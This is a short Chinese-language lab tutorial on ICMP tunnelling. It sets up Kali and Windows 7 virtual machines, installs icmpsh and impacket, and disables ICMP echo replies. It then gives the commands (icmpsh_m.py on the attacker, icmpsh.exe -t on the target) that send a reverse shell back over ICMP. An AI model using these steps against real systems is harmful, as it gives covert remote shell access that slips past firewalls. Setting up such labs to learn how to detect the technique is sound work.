ICMP隧道
前言
一、ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
常见的ICMP隧道工具有:icmpsh、PingTunnel、icmptunnel、powershell icmp等。
内容
开启两台虚拟机这里用到的是kali和windws 7
git clone https://github.com/inquisb/icmpsh.git
使用icmpsh需要安装python的impacker库
sudo apt-get install python-impacket
若安装过程中出现这个错误:
只需要更新一下APT库就行了
sudo apt-get updatesudo apt-get upgrade
如果没下载pip先安装pip
首先下载并安装setuptools:
wget --no-check-certificate https://bootstrap.pypa.io/ez_setup.py
sudo python ez_setup.py --insecure
再到python官网下载pip安装包,解压到某个位置然后就可以安装了:
wget https://pypi.python.org/packages/11/b6/abcb525026a4be042b486df43905d6893fb04f05aac21c32c638e939e447/pip-9.0.1.tar.gz#md5=35f01da33009719497f01a4ba69d63c9
tar -xf pip-9.0.1.tar.gz
cd pip-9.0.1
sudo python setup.py install
ln -s /usr/local/python27/bin/pip /usr/bin/pip
安装impacketpip2 install impacket
关闭本地系统的ICMP答应
sysctl -w net.ipv4.icmp_echo_ignore_all=1
如果syssctl报错:
切换用户为root去sbin目录下执行:
/sbin/sysctl -p
如未报错继续:
输入攻击目标ip
会报以下错误:
于是使用icmpsh的python的脚本运行:
python icmpsh_m.py 192.168.88.109【kali】 192.168.88.139【win7】
然后在win7上运行:
icmpsh.exe -t 192.168.88.109
最后成功反弹shell到kali